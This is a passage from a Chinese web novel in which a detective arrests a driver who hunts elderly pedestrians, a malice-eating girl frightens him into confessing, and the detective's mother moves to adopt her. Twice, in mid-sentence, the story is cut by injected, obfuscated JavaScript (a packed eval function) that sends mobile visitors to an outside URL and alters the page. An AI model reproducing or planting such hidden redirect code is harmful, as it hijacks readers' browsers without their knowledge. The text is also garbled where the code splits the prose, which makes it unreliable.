雨水冲刷着路面,掩盖轮胎的痕迹。黑暗模糊了监控的视野,而湿滑的地面,会让刹车变得不可靠。 完美的狩猎场。 他的目光很快锁定了一个佝偻的身影——一个老人,撑着伞,慢悠悠地走着。 绿灯即将转为红灯,周明德的嘴角跟着缓缓地上扬。 这段路他早已踩点多次。没有监控,人行道设在百米开外,那些腿脚不便的老人总爱贪图方便,横穿马路来个“鬼探头”。 而这个老人,他已经第三次看到他了。 他轻踩油门,面包车缓缓加速。 三秒。 老人毫无察觉,依旧低着头,步履蹒跚。 两秒。 周明德的手指收紧,嘴角的笑容却越来越大。 一秒。 他的呼吸变得急促,瞳孔微微扩张,仿佛已经看到老人飞起的身体,听到骨骼碎裂的声音,感受到那种掌控生命的快感—— “砰!” 刺眼的远光灯突然从侧面射来,一辆黑色轿车猛地横插在他前方,硬生生截断了去路! 周明德猛地踩下刹车,轮胎在湿滑的路面上打滑,面包车一个失控,狠狠地撞上了路边的护栏。 他的头重重磕在方向盘上,眼前一阵发黑。 怎么回事? 他甩了甩头,试图让自己清醒。 车窗被敲响。 周明德抬头,看到一张冷峻且熟悉的脸,竟是上次阻碍他的警察!? 不仅如此,他的面包车周围竟还围堵着两辆警车! “周明德,下车。” 心脏骤然收紧,像是被一只无形的手狠狠攥住。 不可能。 他们不可能知道。 他明明计算好了,没有监控,没有目击者,一切都像是意外。 可贺黎筠的眼神明晃晃地告诉他,他们知道!甚至,就等着他动手! “你涉嫌故意杀人。现在,下车,举起手来!” 周明德的呼吸越来越急促,胸口剧烈起伏。 不,不,不! 他们没有证据! 冷静……必须冷静…… 周明德强迫自己放松下来。他缓缓抬起颤抖的手指,解开安全带,脸上适时地浮现出困惑与惊恐交织的表情。 “警官……您是不是搞错了?我只是……只是正常驾驶啊……” 他嘴唇微微发抖,连带着下巴都在轻颤,就像个被吓坏的普通市民。主动打开车门时,他甚至刻意让双手保持着可见的颤抖幅度。 “如果是我违反交规了,我愿意接受处罚……但不能冤枉人啊……” “又一个老废物。”话音未落,贺黎筠已经从口袋里掏出一部手机,按下了播放键。 只见画面里,清晰地记录着周明德撞击前嘴角上扬的表情,那种宛如看见猎物般扭曲的狞笑。 “这是你车辆的行车记录仪,它记录下了一切。” 周明德的瞳孔骤然收缩。 不可能……他明明已经关了! 冷汗浸透了后背,他死死盯着贺黎筠手中的手机画面,看着那些致命的证据被一一宣判。 “行车记录仪里有车内音频证据,还拍下了驾驶行为异常记录。”贺黎筠一字一顿地说,“反复绕行老人聚集区,还有撞击前嘴角上扬的微表情。” 话音刚落,车门已被粗暴地拉开。 冷风夹着雨水灌了进来,贺黎筠一把拽住周明德的衣领,将他拖出了驾驶室,毫不客气地将他压在车上,铐上了手铐。 “周明德,你因涉嫌故意杀人罪,现依法对你进行逮捕。” 雨还在下。 审讯室里,周明德声音嘶哑地坚称:“警官,开车时遇到乱穿马路的人,谁都会爆粗口吧,总不能因为我骂一句‘老废物’就定我杀人罪吧……那不是笑,是太过惊恐肌肉抽搐了……这怎么能算证据。” “前两起都是普通事故,交警都有介入调查,警察同志你们可不能乱冤枉人啊!” 狡辩了两个小时后,他便一言不发,执意要等律师到场。 等待律师的过程,戴着手铐的周明德申请想要上厕所。待独自进入厕所,他惶恐的嘴脸立刻变成了不屑和嗤笑。 没有直接证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472516|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据,仅凭行车记录仪里那点模糊画面和几句自言自语就想定他的罪? 做梦。 等老子出去…… 然而,就在他准备拉开拉链的瞬间,隔间的门竟“吱呀”一声突然打开了。 他皱着眉回头,却见一个穿着粉色蓬蓬裙的小女孩慢悠悠地走了出来。 裙摆上的蕾丝边随着她轻快的步伐微微晃动,小女孩仰起苍白却又精致的小脸,深棕色的眼睛直勾勾地盯着他。 “周明德。”她歪着头,唇角微扬,“你真的觉得自己没杀人吗?” 周明德嗤笑:“法律讲证据,小朋友。” 然而下一秒,他竟猛地感到一阵刺骨的寒意从脊背窜上来。那个小女孩的眼睛,正慢慢地变成了血红色! 世界骤然扭曲,厕所的场景消失了! 雨水砸在他脸上,冰冷刺骨,他惊恐地站在马路中央。 这是……哪里?怎、怎么一回事!? 还没等他反应过来,耳边突然传来刺耳的刹车声。 “砰——!” 剧痛。 他的身体腾空而起,重重砸在挡风玻璃上。玻璃碎裂,他的脸紧贴着裂痕,鲜血模糊了视线。 不……不可能…… 他挣扎着想要爬起来,却发现自己的四肢像被钉住一样,动弹不得。 “救……救我……” 他的喉咙里挤出破碎的声音,可没人听见。 驾驶座上,一个模糊的人影冷漠地看着他,嘴角缓缓勾起。 是他自己! 周明德浑身发冷。 这是……被他撞死的人的感受? 恐惧如潮水般淹没了他。 他的瞳孔因绝望而收缩,眼眶崩裂,血泪混合着雨水往下淌。 “不……不要……” 他拼命挣扎,可生命仍在流逝。 他要死了。 他真的……要死了。 “啊——!!” “现在,你还觉得自己没杀人吗?” 女孩的声音像毒蛇般钻进他的耳道,周明德满脸惊恐地从惨叫中惊醒。 厕所方向突然传来一声撕心裂肺的惨叫,正探讨怎么进一步逼供的贺黎筠和楚子琦同时变色。 贺黎筠一个箭步猛地冲了进去,然而看到的却是这么一幕:周明德满脸惨白,像条丧家之犬般瘫在地上发抖,□□一片水迹,不知发生了什么竟吓得不轻。 而薛宓正乖巧地站在一旁,歪着头露出人畜无害的笑容。 “你怎么不小心滑倒了?”贺黎筠面不改色地扯谎。 而听到这话的楚子琦,直接放慢了脚步。 “你……你看不见她?” 薛宓早已迅速地溜回了隔间,周明德猛地回头,身旁竟空空如也! “周明德,你又想玩什么花样!刚刚厕所里就你一个人!”贺黎筠冷笑,“不会是想装精神病逃脱罪行吧?” 懒洋洋倚在厕所门口的楚子琦,对着望过来的贺黎筠撇撇嘴,用口型无声地说:“看来要打持久战了。” 没想到,下一秒,周明德浑身就抖得像筛糠,鼻涕眼泪糊了一脸,满脸惊恐道:“我……我招……我全招!” 楚子琦:“???” 他瞪圆了眼睛,手里的笔录本因震惊差点砸到了脚。 三小时的心理博弈毫无进展,上个厕所就全线崩溃?这他妈是什么新型审讯技巧?! 这案子破得也太他妈魔幻了! “愣着干什么?”将浑身瘫软的周明德带出厕所,贺黎筠头也不回地催促,“做笔录。” 周明德全招后,审讯顺利得不可思议,每一起“意外”的细节,他都涕泪横流地全交代了。 贺黎筠推门出来时,目光立刻被走廊长椅上那个小小的身影锁住。她正晃着两条小短腿,等在审讯室的门口。 刑警支队的人早已眼熟了薛宓,她才能如此轻轻松松地混了进来,甚至有人路过时还顺手揉了揉她的发顶。 薛宓乖巧地笑着,却在看到贺黎筠的瞬间撇了撇嘴。 “你太慢了。”见他还好意思沉着脸看着自己,得知他抓到人就赶过来的薛宓鼓着腮帮子抱怨,“我等了三小时你还没搞定,只能自己出马了。” 是贺黎筠主动打电话让薛宓来的。 可—— 他眯起眼睛:“你做了什么?让他这么快就招了?” “也没做什么,就是让他体验了被撞的感觉而已~”她声音轻快得像个在分享游戏心得的孩子,“一旦产生恐惧的情绪,恶念就能轻松地吞噬了。恶念一被吞噬,他自然就没贼胆了。怎么样,我做的不错吧?” 确实不错。 但贺黎筠没有夸她,指节反而无意识地收紧。 一个力量衰弱期都能轻轻松松制造出幻境的存在,真的太危险了。 若她真的到全盛时期呢? 贺黎筠这样想着,薄唇紧抿成一条线,就见薛宓突然把身旁的一大袋子递了过来。 “喏,等你无聊时买的披萨。钱是借你工位旁边那个漂亮小姐姐的,就是刚刚揉我头的那个,花了八十八。记得还哦。” 贺黎筠:“……” 11. 妈妈 十日后,李武总的精神鉴定落定,具有完全刑事责任能力。 纵火罪,危害公共安全罪,证据确凿,案卷材料已全部移交至检察院。 与此同时,周明德的案卷也一并送了过去。贺黎筠亲自通知了前两起事故的受害者家属。 一名受害者家属急匆匆地问,杀人的话还能不能再得到赔偿,而另一个电话背后,却是一声压抑的、颤抖的:“谢谢……” 虽然晚了太久,但他们这些做刑警的,千辛万苦破案,为的就是让真相大白于天下的这一日,让生者得到安慰,让逝者彻底地得以安宁。 表彰大会后,获得二等功奖章的贺黎筠直接用嘉奖的三千元奖金请大家吃了一顿庆功宴。 宴席间觥筹交错,笑声不断,同事们脸上洋溢着久违的轻松,互相打趣着这段时间的奔波与辛苦。 毕竟,谁都没有想到,仅仅一个半月的时间,他们竟接连破获了两起重大案件!这份成绩,足以让每个人都挺直腰板。 “小贺,来,再喝一杯!” 队长提着酒瓶醉醺醺地凑过来,贺黎筠扯了扯嘴角,勉强举杯迎上去,仰头一饮而尽。 辛辣的酒液滑过喉咙,烧得胃里微微发烫,但他却没什么实感。耳边充斥着同事的笑闹、劝酒声,有人甚至开始起哄,让他讲两句感言。可他只觉得嘈杂。 他其实并不喜欢这种喧闹的场景。只是因为这段时间,大家真的太辛苦了,才主动提出请客。 如今,疲惫感一涌而上,他的思绪不禁飘向了家里那扇安静的门。 已经八点半了。局里批的奖金已经到账,饭钱也提前结了,剩下的……似乎也没他什么事了。 “我先走了。”贺黎筠站起身,“你们继续,账已经结了。” “哎?贺哥,这么早?”楚子琦惊讶地抬头,“等会不去KTV吗?” “嗯,有点累。”他随口应了一句,没多解释,转身离开了酒楼。 二十分钟后,出租车在小区门口停下。贺黎筠付完车费,推门下车,夜风裹着微凉的空气拂过脸颊,让他混沌的思绪更加清醒了些。 他抬手揉了揉太阳穴,酒精带来的轻微眩晕感还在,但并不影响他走路。 连续加班一个多月,案子一个接一个,审讯、走访、熬夜翻卷宗……现在终于尘埃落定,总算能好好休息了…… 电梯缓缓上升,数字一格一格跳动。他靠着内壁,闭了闭眼,疲惫感如潮水般涌上来。 “叮——” 电梯门打开,走廊的感应灯应声亮起。 贺黎筠走到家门口,钥匙刚插进锁孔,就听见里面传来震耳欲聋的电视声——夸张的台词、激昂的背景音乐,还有熟悉的魔法少女变身音效。 ……又开始了。 他手指一顿,嘴角不自觉地抽了抽。 谁能想到,一个以吞噬恶念为生的生物,在沉迷垃圾食品后,又迷恋上了看电视。 美其名曰“从电视里学习现代社会的知识”,实际上,她最近追的剧集列表里全是《豪门恩怨》、《复仇千金》、《霸道总裁爱上我》之类的狗血剧…… 而前天,她又沉迷上了动画片。 他拧开门锁,推门而入。 客厅里,电视机屏幕闪烁着刺眼的光,茶几上堆满了薯片袋、可乐罐和拆开的巧克力包装。 贺黎筠:“……” 他面无表情地关上门,顺手把钥匙丢进玄关的碗里。金属碰撞的清脆声响终于让薛宓回过头来。 四目相对。 他就见最近圆润了一圈的小姑娘踮起脚站在了沙发靠背上。 她双手环胸,下巴微抬,对着自己摆出一副高深莫测的表情:“人类贺黎筠,你想好你的愿望了吗!只要和我签订契约,把灵魂交给我,我就能实现你的任何愿望!” 贺黎筠面无表情地换鞋,对她的表演视若无睹。 自从昨晚她迷上这部魔法少女动画后,这套说辞已经重复了不下十遍。贺黎筠把外套挂好,径直走向厨房倒水。 “不是一个愿望哦,是任何愿望!我可比动画片里的厉害多了!”薛宓不死心地跟在他身后,小手拽住他的衣角,“你考虑考虑嘛,咱们改成灵魂契约,我的能力会变得更强,我什么都可以帮你!只需要你同意就行了!” 贺黎筠停下脚步,低头看着这个满脸期待的小姑娘。她眼睛亮晶晶的,显然这一个月的时间没办法找到他的杀父真凶后,她便开始盘算起了其他主意。 但他明明已经警告过很多次——在妈妈面前要安分守己,不准搞任何奇奇怪怪的举动,否则别怪他把她扫地出门。 看来是时候兑现警告了。 贺黎筠面无表情地伸手,精准地拎住了她的后衣领,作势要把人丢出门外。 然而下一秒,薛宓的眼泪说来就来,哭得那叫一个凄惨:“呜哇——奶奶!叔叔打我!呜呜呜……” 厨房里传来碗碟碰撞的声响,崔芳华举着还在滴水的双手冲了出来:“你干嘛打孩子呢!” 后脑勺挨了重重一下的贺黎筠:“……” 躲在老人怀里装哭的薛宓:哼! 慈母多败儿。 贺黎筠在心里叹了口气。薛宓现在就是那个恃宠而骄的存在。 他委婉地提了好几次,不需要妈妈这么照顾薛宓,但每次话到嘴边,看到妈妈脸上满足的笑容,又咽了回去。 他一直知道,妈妈以前就喜欢女儿。 记得小时候翻相册,妈妈曾指着怀孕时的照片说:“酸儿辣女,怀你的时候特别爱吃辣的,而且皮肤特别好,大家都说我肯定怀的是女娃娃。” 照片里,年轻的崔芳华正织着一件粉色的针织衫,眉眼温柔地弯起。 谁知生出来是个大胖小子,导致他小时候穿的童装都是靓丽的粉色。 他长大些后,妈妈曾好几次犹犹豫豫地问他要不要个妹妹。但父亲工作太忙,二胎的计划就这么搁置了。 直到父亲离世的那天—— 妈妈因伤心过度晕倒,被送到医院时,裙摆上都是血。医生检查后才知道,她竟然怀孕了,只是她自己都没发现。 那个意外流产的小生命,或许就是父母曾经期待的小妹妹吧…… “小筠啊……”离开前,崔芳华欲言又止了好几次,终于犹豫着开口,“这孩子……都这么久了,她父母也没来找……” “要不……”她小心翼翼地看了眼正在看动画片的薛宓,声音放得很轻,“把户口落在咱们家?我之前问过她愿不愿意和我们一辈子生活,她说愿意的。” 她生怕儿子不同意,连忙又补充道:“当然收养在我的名下,成为我的女儿。你放心,不会影响你以后找媳妇的。” 贺黎筠抿了抿唇。他知道薛宓明显理解错了意思,而他也同样知道妈妈在担心什么……现在社会,男的带着个小拖油瓶确实不好找对象。 他下意识地望向薛宓,她正看得入迷,完全没注意到这边的谈话,反而随着剧情的进展,竟眼泪汪汪了起来。 不就是魔法少女变身的动画片吗?怎么还看哭了呢…… “这孩子……”崔芳华的目光柔软下来,“不知道是不是失忆的原因,我发现她好多常识都不懂,字也不认识几个。虽然聪明,一学就会,但不读书总归是不好的。有了户口,这孩子才能继续上学读书……” 看着妈妈期待又忐忑的神情,贺黎筠已经意识到这是她埋藏多年却始终未能圆满的期盼。 而薛宓,这个来历不明的生物,现在正学着动画片里的套路要和人签订契约。今天是对着他,明天呢? 她会不会真的去蛊惑他人? 现在她是吞噬恶念,那若有一天……她会不会真的开始吞噬起灵魂? 这个念头如芒刺在背,让贺黎筠不自觉地绷紧了神经。而他一直不觉得动画片能带坏小孩子,可再这么日日夜夜沉迷在动画片里,迟早要废掉。只能用九年义务教育来纠正她的三观了。 “好。”他听见自己说。 崔芳华的眼睛一下子亮了起来:“真的?你同意了?” “嗯。”贺黎筠点点头,“登报公示两个月后仍找不到生父母的弃儿,可以去民政局特批收养。” 他顿了顿,又补充道:“正好九月开学,应该能赶得上。” 崔芳华一听,也不着急走了,连忙兴奋地小跑到薛宓跟前:“小宓!叔叔同意啦!以后我们是一家人了!” 话刚出口,她自己先笑着摇头纠正:“不对不对,以后不能再叫叔叔了。”她蹲下身,轻轻擦掉薛宓脸上看动画片哭出来的泪痕,“要叫哥哥。” 正为动画片里牺牲的魔法少女哭得稀里哗啦的薛宓:“???” “还有我。”崔芳华温柔地理了理薛宓翘起的刘海,声音里带着藏不住的期待,“以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472517|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后要叫妈妈啦。” 薛宓的嘴巴顿时张成了圆型,动画片里悲壮的背景音乐还在继续,但她已经完全顾不上看了。 眼前是崔芳华温柔的笑脸,那双与贺黎筠如出一辙的黑眼睛里,盛满了小心翼翼的期待,薛宓不知为何有些喉咙发紧,立刻慌乱地转头寻找贺黎筠的身影。 她看不出那张面无表情的脸上是否情绪,就见他对她微微颔首,薄唇无声地开合——契约。 只要喊一声“妈妈”,他就愿意和她结契灵魂契约了吗? 他们现在的因果契约太过麻烦。原本想着帮他找到杀父凶手就能速战速决,谁知道这个案子比想象中棘手得多。 虽然借着贺黎筠刑警的身份,她能接触到更多恶念来增强力量,但人类太脆弱了,而他的工作又太危险了。 说不定哪天就会像他父亲一样,死得猝不及防。到时候契约还没解除,她岂不是要倒大霉? 灵魂契约就不同了。 贺黎筠死后,他的灵魂将永远归她所有。 不仅能获得他强大的灵魂力量,更能彻底摆脱因果契约的束缚——不必再担心他突然遭遇不测导致自己背负因果业障,反而能在他死后得到最大收益。 毕竟人类终有一死。 而像贺黎筠这样冷静克制、正义感爆棚的灵魂,尝起来绝对……格外美味。 怎么看都是稳赚不赔的交易! 贺黎筠根本不知道两种契约之间的关键差别——这才是她费尽心机诱导他更改契约的真正原因。 现在,他终于愿意了…… “小宓是不是觉得太突然了?”崔芳华的声音有些忐忑,“那等正式落户后再改口吧……” 不,不能就这么错过! “妈、妈妈……” 陌生的称谓在唇齿间轻轻地打了个转,终是细若蚊吟地脱口而出……而下一秒,她就被拥入一个温暖的怀抱。 崔芳华的手臂微微发颤,却将她搂得那样紧,这样突如其来的亲密让薛宓万分无措,她僵硬着身子,求助地望向贺黎筠,却见他不紧不慢地上前,竟在她瞪人的目光下,摸了摸她的发顶。 “妹妹乖,以后要听妈妈和哥哥的话。” 薛宓对着他翻了个白眼。 在崔芳华离开后,她一把逮住要去洗漱的贺黎筠,催促道:“灵魂契约,你答应了对吧。” “你能同时和几个人缔结这种契约?”贺黎筠不着痕迹地抽回手。 “一次只能一个吧?”薛宓心里也有些虚,却还是扬起小脸,露出一副倨傲的神情,让自己看起来更有气势些,“你该感到荣幸才对——我非常讨厌人类,而你可是第一个能和我签订灵魂契约的人类。只要你诚心地侍奉我,我就能实现你的任何愿望。” 贺黎筠垂眸看着这个还不到自己胸口高的小不点,挑了挑眉打断:“可一个月了,你连我的杀父仇人都没找到,就想要我卖掉自己的灵魂和你签终身契约?” 太聪明的人类就是麻烦! 薛宓的包子脸瞬间沉了下来,几乎是从牙缝里挤出声音:“所以……你刚刚是在骗我?” “也不是。”望着瞬间炸毛的小姑娘,贺黎筠语气平静道,“毕竟是终身制,我们是要生活在一起的。你靠吞噬恶念生存,我负责侦破案件,这只是各取所需。但除此之外,你什么都不会,连简体字都不识,怎么帮我实现其他愿望呢?” “我可以学。”薛宓眯起深棕色的瞳孔,“这世间还没有我学不会的东西。” “那就证明给我看。”贺黎筠拿出一个平板电脑,“网上有一些小学讲课的视频,明天我也会带小学课本回来。你先自学看看,每周我会检查你的学习进度。九月再根据你学习的情况,决定插班年级……” 他故意停顿:“如果连拼音都学不会,恐怕得从一年期开始读起。” 修长的骨节在平板边缘敲出轻响,他太了解如何刺激她的好胜心了。 果然—— “呵。等我把你们人类的文字学透,看你还有什么借口。” 贺黎筠看着她斗志昂扬的模样,不动声色地递过平板:“那就从今天开始学习。你会用平板吗?” “少瞧不起人。”她头也不抬地戳着屏幕,“你妈连网购都教我了。” 贺黎筠看着薛宓嘴里虽还在嘟嘟囔囔着有些不满,但已经不由自主地捧起了平板,他唇角微不可察地扬起。